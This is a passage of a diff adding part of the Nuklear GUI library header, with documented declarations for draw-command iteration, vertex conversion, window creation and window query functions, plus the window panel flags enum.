describes the vertex output format and packing */ + nk_size vertex_size; /* sizeof one vertex for vertex packing */ + nk_size vertex_alignment; /* vertex alignment: Can be obtained by NK_ALIGNOF */ +}; +/*/// #### nk__begin +/// Returns a draw command list iterator to iterate all draw +/// commands accumulated over one frame. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// const struct nk_command* nk__begin(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | must point to an previously initialized `nk_context` struct at the end of a frame +/// +/// Returns draw command pointer pointing to the first command inside the draw command list +*/ +NK_API const struct nk_command* nk__begin(struct nk_context*); +/*/// #### nk__next +/// Returns draw command pointer pointing to the next command inside the draw command list +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// const struct nk_command* nk__next(struct nk_context*, const struct nk_command*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +/// __cmd__ | Must point to an previously a draw command either returned by `nk__begin` or `nk__next` +/// +/// Returns draw command pointer pointing to the next command inside the draw command list +*/ +NK_API const struct nk_command* nk__next(struct nk_context*, const struct nk_command*); +/*/// #### nk_foreach +/// Iterates over each draw command inside the context draw command list +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// #define nk_foreach(c, ctx) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +/// __cmd__ | Command pointer initialized to NULL +/// +/// Iterates over each draw command inside the context draw command list +*/ +#define nk_foreach(c, ctx) for((c) = nk__begin(ctx); (c) != 0; (c) = nk__next(ctx,c)) +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT +/*/// #### nk_convert +/// Converts all internal draw commands into vertex draw commands and fills +/// three buffers with vertexes, vertex draw commands and vertex indices. The vertex format +/// as well as some other configuration values have to be configured by filling out a +/// `nk_convert_config` struct. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// nk_flags nk_convert(struct nk_context *ctx, struct nk_buffer *cmds, +/// struct nk_buffer *vertices, struct nk_buffer *elements, const struct nk_convert_config*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +/// __cmds__ | Must point to a previously initialized buffer to hold converted vertex draw commands +/// __vertices__| Must point to a previously initialized buffer to hold all produced vertices +/// __elements__| Must point to a previously initialized buffer to hold all produced vertex indices +/// __config__ | Must point to a filled out `nk_config` struct to configure the conversion process +/// +/// Returns one of enum nk_convert_result error codes +/// +/// Parameter | Description +/// --------------------------------|----------------------------------------------------------- +/// NK_CONVERT_SUCCESS | Signals a successful draw command to vertex buffer conversion +/// NK_CONVERT_INVALID_PARAM | An invalid argument was passed in the function call +/// NK_CONVERT_COMMAND_BUFFER_FULL | The provided buffer for storing draw commands is full or failed to allocate more memory +/// NK_CONVERT_VERTEX_BUFFER_FULL | The provided buffer for storing vertices is full or failed to allocate more memory +/// NK_CONVERT_ELEMENT_BUFFER_FULL | The provided buffer for storing indicies is full or failed to allocate more memory +*/ +NK_API nk_flags nk_convert(struct nk_context*, struct nk_buffer *cmds, struct nk_buffer *vertices, struct nk_buffer *elements, const struct nk_convert_config*); +/*/// #### nk__draw_begin +/// Returns a draw vertex command buffer iterator to iterate over the vertex draw command buffer +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// const struct nk_draw_command* nk__draw_begin(const struct nk_context*, const struct nk_buffer*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +/// __buf__ | Must point to an previously by `nk_convert` filled out vertex draw command buffer +/// +/// Returns vertex draw command pointer pointing to the first command inside the vertex draw command buffer +*/ +NK_API const struct nk_draw_command* nk__draw_begin(const struct nk_context*, const struct nk_buffer*); +/*/// #### nk__draw_end +/// Returns the vertex draw command at the end of the vertex draw command buffer +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// const struct nk_draw_command* nk__draw_end(const struct nk_context *ctx, const struct nk_buffer *buf); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +/// __buf__ | Must point to an previously by `nk_convert` filled out vertex draw command buffer +/// +/// Returns vertex draw command pointer pointing to the end of the last vertex draw command inside the vertex draw command buffer +*/ +NK_API const struct nk_draw_command* nk__draw_end(const struct nk_context*, const struct nk_buffer*); +/*/// #### nk__draw_next +/// Increments the vertex draw command buffer iterator +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// const struct nk_draw_command* nk__draw_next(const struct nk_draw_command*, const struct nk_buffer*, const struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __cmd__ | Must point to an previously either by `nk__draw_begin` or `nk__draw_next` returned vertex draw command +/// __buf__ | Must point to an previously by `nk_convert` filled out vertex draw command buffer +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +/// +/// Returns vertex draw command pointer pointing to the end of the last vertex draw command inside the vertex draw command buffer +*/ +NK_API const struct nk_draw_command* nk__draw_next(const struct nk_draw_command*, const struct nk_buffer*, const struct nk_context*); +/*/// #### nk_draw_foreach +/// Iterates over each vertex draw command inside a vertex draw command buffer +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// #define nk_draw_foreach(cmd,ctx, b) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __cmd__ | `nk_draw_command`iterator set to NULL +/// __buf__ | Must point to an previously by `nk_convert` filled out vertex draw command buffer +/// __ctx__ | Must point to an previously initialized `nk_context` struct at the end of a frame +*/ +#define nk_draw_foreach(cmd,ctx, b) for((cmd)=nk__draw_begin(ctx, b); (cmd)!=0; (cmd)=nk__draw_next(cmd, b, ctx)) +#endif +/* ============================================================================= + * + * WINDOW + * + * ============================================================================= +/// ### Window +/// Windows are the main persistent state used inside nuklear and are life time +/// controlled by simply "retouching" (i.e. calling) each window each frame. +/// All widgets inside nuklear can only be added inside the function pair `nk_begin_xxx` +/// and `nk_end`. Calling any widgets outside these two functions will result in an +/// assert in debug or no state change in release mode.

+/// +/// Each window holds frame persistent state like position, size, flags, state tables, +/// and some garbage collected internal persistent widget state. Each window +/// is linked into a window stack list which determines the drawing and overlapping +/// order. The topmost window thereby is the currently active window.

+/// +/// To change window position inside the stack occurs either automatically by +/// user input by being clicked on or programmatically by calling `nk_window_focus`. +/// Windows by default are visible unless explicitly being defined with flag +/// `NK_WINDOW_HIDDEN`, the user clicked the close button on windows with flag +/// `NK_WINDOW_CLOSABLE` or if a window was explicitly hidden by calling +/// `nk_window_show`. To explicitly close and destroy a window call `nk_window_close`.

+/// +/// #### Usage +/// To create and keep a window you have to call one of the two `nk_begin_xxx` +/// functions to start window declarations and `nk_end` at the end. Furthermore it +/// is recommended to check the return value of `nk_begin_xxx` and only process +/// widgets inside the window if the value is not 0. Either way you have to call +/// `nk_end` at the end of window declarations. Furthermore, do not attempt to +/// nest `nk_begin_xxx` calls which will hopefully result in an assert or if not +/// in a segmentation fault. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_begin_xxx(...) { +/// // [... widgets ...] +/// } +/// nk_end(ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// In the grand concept window and widget declarations need to occur after input +/// handling and before drawing to screen. Not doing so can result in higher +/// latency or at worst invalid behavior. Furthermore make sure that `nk_clear` +/// is called at the end of the frame. While nuklear's default platform backends +/// already call `nk_clear` for you if you write your own backend not calling +/// `nk_clear` can cause asserts or even worse undefined behavior. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// Event evt; +/// nk_input_begin(&ctx); +/// while (GetEvent(&evt)) { +/// if (evt.type == MOUSE_MOVE) +/// nk_input_motion(&ctx, evt.motion.x, evt.motion.y); +/// else if (evt.type == [...]) { +/// nk_input_xxx(...); +/// } +/// } +/// nk_input_end(&ctx); +/// +/// if (nk_begin_xxx(...) { +/// //[...] +/// } +/// nk_end(ctx); +/// +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case //...: +/// //[...] +/// } +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// ------------------------------------|---------------------------------------- +/// nk_begin | Starts a new window; needs to be called every frame for every window (unless hidden) or otherwise the window gets removed +/// nk_begin_titled | Extended window start with separated title and identifier to allow multiple windows with same name but not title +/// nk_end | Needs to be called at the end of the window building process to process scaling, scrollbars and general cleanup +// +/// nk_window_find | Finds and returns the window with give name +/// nk_window_get_bounds | Returns a rectangle with screen position and size of the currently processed window. +/// nk_window_get_position | Returns the position of the currently processed window +/// nk_window_get_size | Returns the size with width and height of the currently processed window +/// nk_window_get_width | Returns the width of the currently processed window +/// nk_window_get_height | Returns the height of the currently processed window +/// nk_window_get_panel | Returns the underlying panel which contains all processing state of the current window +/// nk_window_get_content_region | Returns the position and size of the currently visible and non-clipped space inside the currently processed window +/// nk_window_get_content_region_min | Returns the upper rectangle position of the currently visible and non-clipped space inside the currently processed window +/// nk_window_get_content_region_max | Returns the upper rectangle position of the currently visible and non-clipped space inside the currently processed window +/// nk_window_get_content_region_size | Returns the size of the currently visible and non-clipped space inside the currently processed window +/// nk_window_get_canvas | Returns the draw command buffer. Can be used to draw custom widgets +/// nk_window_get_scroll | Gets the scroll offset of the current window +/// nk_window_has_focus | Returns if the currently processed window is currently active +/// nk_window_is_collapsed | Returns if the window with given name is currently minimized/collapsed +/// nk_window_is_closed | Returns if the currently processed window was closed +/// nk_window_is_hidden | Returns if the currently processed window was hidden +/// nk_window_is_active | Same as nk_window_has_focus for some reason +/// nk_window_is_hovered | Returns if the currently processed window is currently being hovered by mouse +/// nk_window_is_any_hovered | Return if any window currently hovered +/// nk_item_is_any_active | Returns if any window or widgets is currently hovered or active +// +/// nk_window_set_bounds | Updates position and size of the currently processed window +/// nk_window_set_position | Updates position of the currently process window +/// nk_window_set_size | Updates the size of the currently processed window +/// nk_window_set_focus | Set the currently processed window as active window +/// nk_window_set_scroll | Sets the scroll offset of the current window +// +/// nk_window_close | Closes the window with given window name which deletes the window at the end of the frame +/// nk_window_collapse | Collapses the window with given window name +/// nk_window_collapse_if | Collapses the window with given window name if the given condition was met +/// nk_window_show | Hides a visible or reshows a hidden window +/// nk_window_show_if | Hides/shows a window depending on condition +*/ +/* +/// #### nk_panel_flags +/// Flag | Description +/// ----------------------------|---------------------------------------- +/// NK_WINDOW_BORDER | Draws a border around the window to visually separate window from the background +/// NK_WINDOW_MOVABLE | The movable flag indicates that a window can be moved by user input or by dragging the window header +/// NK_WINDOW_SCALABLE | The scalable flag indicates that a window can be scaled by user input by dragging a scaler icon at the button of the window +/// NK_WINDOW_CLOSABLE | Adds a closable icon into the header +/// NK_WINDOW_MINIMIZABLE | Adds a minimize icon into the header +/// NK_WINDOW_NO_SCROLLBAR | Removes the scrollbar from the window +/// NK_WINDOW_TITLE | Forces a header at the top at the window showing the title +/// NK_WINDOW_SCROLL_AUTO_HIDE | Automatically hides the window scrollbar if no user interaction: also requires delta time in `nk_context` to be set each frame +/// NK_WINDOW_BACKGROUND | Always keep window in the background +/// NK_WINDOW_SCALE_LEFT | Puts window scaler in the left-bottom corner instead right-bottom +/// NK_WINDOW_NO_INPUT | Prevents window of scaling, moving or getting focus +/// +/// #### nk_collapse_states +/// State | Description +/// ----------------|----------------------------------------------------------- +/// __NK_MINIMIZED__| UI section is collased and not visibile until maximized +/// __NK_MAXIMIZED__| UI section is extended and visibile until minimized +///

+*/ +enum nk_panel_flags { + NK_WINDOW_BORDER = NK_FLAG(0), + NK_WINDOW_MOVABLE = NK_FLAG(1), + NK_WINDOW_SCALABLE = NK_FLAG(2), + NK_WINDOW_CLOSABLE = NK_FLAG(3), + NK_WINDOW_MINIMIZABLE = NK_FLAG(4), + NK_WINDOW_NO_SCROLLBAR = NK_FLAG(5), + NK_WINDOW_TITLE = NK_FLAG(6), + NK_WINDOW_SCROLL_AUTO_HIDE = NK_FLAG(7), + NK_WINDOW_BACKGROUND = NK_FLAG(8), + NK_WINDOW_SCALE_LEFT = NK_FLAG(9), + NK_WINDOW_NO_INPUT = NK_FLAG(10) +}; +/*/// #### nk_begin +/// Starts a new window; needs to be called every frame for every +/// window (unless hidden) or otherwise the window gets removed +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_begin(struct nk_context *ctx, const char *title, struct nk_rect bounds, nk_flags flags); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __title__ | Window title and identifier. Needs to be persistent over frames to identify the window +/// __bounds__ | Initial position and window size. However if you do not define `NK_WINDOW_SCALABLE` or `NK_WINDOW_MOVABLE` you can set window position and size every frame +/// __flags__ | Window flags defined in the nk_panel_flags section with a number of different window behaviors +/// +/// Returns `true(1)` if the window can be filled up with widgets from this point +/// until `nk_end` or `false(0)` otherwise for example if minimized +*/ +NK_API int nk_begin(struct nk_context *ctx, const char *title, struct nk_rect bounds, nk_flags flags); +/*/// #### nk_begin_titled +/// Extended window start with separated title and identifier to allow multiple +/// windows with same title but not name +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_begin_titled(struct nk_context *ctx, const char *name, const char *title, struct nk_rect bounds, nk_flags flags); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Window identifier. Needs to be persistent over frames to identify the window +/// __title__ | Window title displayed inside header if flag `NK_WINDOW_TITLE` or either `NK_WINDOW_CLOSABLE` or `NK_WINDOW_MINIMIZED` was set +/// __bounds__ | Initial position and window size. However if you do not define `NK_WINDOW_SCALABLE` or `NK_WINDOW_MOVABLE` you can set window position and size every frame +/// __flags__ | Window flags defined in the nk_panel_flags section with a number of different window behaviors +/// +/// Returns `true(1)` if the window can be filled up with widgets from this point +/// until `nk_end` or `false(0)` otherwise for example if minimized +*/ +NK_API int nk_begin_titled(struct nk_context *ctx, const char *name, const char *title, struct nk_rect bounds, nk_flags flags); +/*/// #### nk_end +/// Needs to be called at the end of the window building process to process scaling, scrollbars and general cleanup. +/// All widget calls after this functions will result in asserts or no state changes +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_end(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +*/ +NK_API void nk_end(struct nk_context *ctx); +/*/// #### nk_window_find +/// Finds and returns a window from passed name +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_window *nk_window_find(struct nk_context *ctx, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Window identifier +/// +/// Returns a `nk_window` struct pointing to the identified window or NULL if +/// no window with the given name was found +*/ +NK_API struct nk_window *nk_window_find(struct nk_context *ctx, const char *name); +/*/// #### nk_window_get_bounds +/// Returns a rectangle with screen position and size of the currently processed window +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_rect nk_window_get_bounds(const struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns a `nk_rect` struct with window upper left window position and size +*/ +NK_API struct nk_rect nk_window_get_bounds(const struct nk_context *ctx); +/*/// #### nk_window_get_position +/// Returns the position of the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_window_get_position(const struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns a `nk_vec2` struct with window upper left position +*/ +NK_API struct nk_vec2 nk_window_get_position(const struct nk_context *ctx); +/*/// #### nk_window_get_size +/// Returns the size with width and height of the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_window_get_size(const struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns a `nk_vec2` struct with window width and height +*/ +NK_API struct nk_vec2 nk_window_get_size(const struct nk_context*); +/*/// #### nk_window_get_width +/// Returns the width of the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// float nk_window_get_width(const struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns the current window width +*/ +NK_API float nk_window_get_width(const struct nk_context*); +/*/// #### nk_window_get_height +/// Returns the height of the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// float nk_window_get_height(const struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns the current window height +*/ +NK_API float nk_window_get_height(const struct nk_context*); +/*/// #### nk_window_get_panel +/// Returns the underlying panel which contains all processing state of the current window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// !!! WARNING +/// Do not keep the returned panel pointer around, it is only valid until `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_panel* nk_window_get_panel(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns a pointer to window internal `nk_panel` state. +*/ +NK_API struct nk_panel* nk_window_get_panel(struct nk_context*); +/*/// #### nk_window_get_content_region +/// Returns the position and size of the currently visible and non-clipped space +/// inside the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_rect nk_window_get_content_region(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `nk_rect` struct with screen position and size (no scrollbar offset) +/// of the visible space inside the current window +*/ +NK_API struct nk_rect nk_window_get_content_region(struct nk_context*); +/*/// #### nk_window_get_content_region_min +/// Returns the upper left position of the currently visible and non-clipped +/// space inside the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_window_get_content_region_min(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// returns `nk_vec2` struct with upper left screen position (no scrollbar offset) +/// of the visible space inside the current window +*/ +NK_API struct nk_vec2 nk_window_get_content_region_min(struct nk_context*); +/*/// #### nk_window_get_content_region_max +/// Returns the lower right screen position of the currently visible and +/// non-clipped space inside the currently processed window. +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_window_get_content_region_max(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `nk_vec2` struct with lower right screen position (no scrollbar offset) +/// of the visible space inside the current window +*/ +NK_API struct nk_vec2 nk_window_get_content_region_max(struct nk_context*); +/*/// #### nk_window_get_content_region_size +/// Returns the size of the currently visible and non-clipped space inside the +/// currently processed window +/// +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_window_get_content_region_size(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `nk_vec2` struct with size the visible space inside the current window +*/ +NK_API struct nk_vec2 nk_window_get_content_region_size(struct nk_context*); +/*/// #### nk_window_get_canvas +/// Returns the draw command buffer. Can be used to draw custom widgets +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// !!! WARNING +/// Do not keep the returned command buffer pointer around it is only valid until `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_command_buffer* nk_window_get_canvas(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns a pointer to window internal `nk_command_buffer` struct used as +/// drawing canvas. Can be used to do custom drawing. +*/ +NK_API struct nk_command_buffer* nk_window_get_canvas(struct nk_context*); +/*/// #### nk_window_get_scroll +/// Gets the scroll offset for the current window +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_window_get_scroll(struct nk_context *ctx, nk_uint *offset_x, nk_uint *offset_y); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// -------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __offset_x__ | A pointer to the x offset output (or NULL to ignore) +/// __offset_y__ | A pointer to the y offset output (or NULL to ignore) +*/ +NK_API void nk_window_get_scroll(struct nk_context*, nk_uint *offset_x, nk_uint *offset_y); +/*/// #### nk_window_has_focus +/// Returns if the currently processed window is currently active +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_window_has_focus(const struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `false(0)` if current window is not active or `true(1)` if it is +*/ +NK_API int nk_window_has_focus(const struct nk_context*); +/*/// #### nk_window_is_hovered +/// Return if the current window is being hovered +/// !!! WARNING +/// Only call this function between calls `nk_begin_xxx` and `nk_end` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_window_is_hovered(struct nk_context *ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// +/// Returns `true(1)` if current window is hovered or `false(0)` otherwise +*/ +NK_API int nk_window_is_hovered(struct nk_context*); +/*/// #### nk_window_is_collapsed +/// Returns if the window with given name is currently minimized/collapsed +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_window_is_collapsed(struct nk_context *ctx, const char *name); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __name__ | Identifier of window you want to check if it is collapsed +/// +/// Returns `true(1)` if current window is minimized and `false(0)` if window not +/// found or is not minimized +*/ +NK_API int nk_window_is_collapsed(struct nk_context *ctx, const char *name); +/*/// #### nk_window_is_closed +/// Returns if the window with given name was closed by calling `nk_close` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int 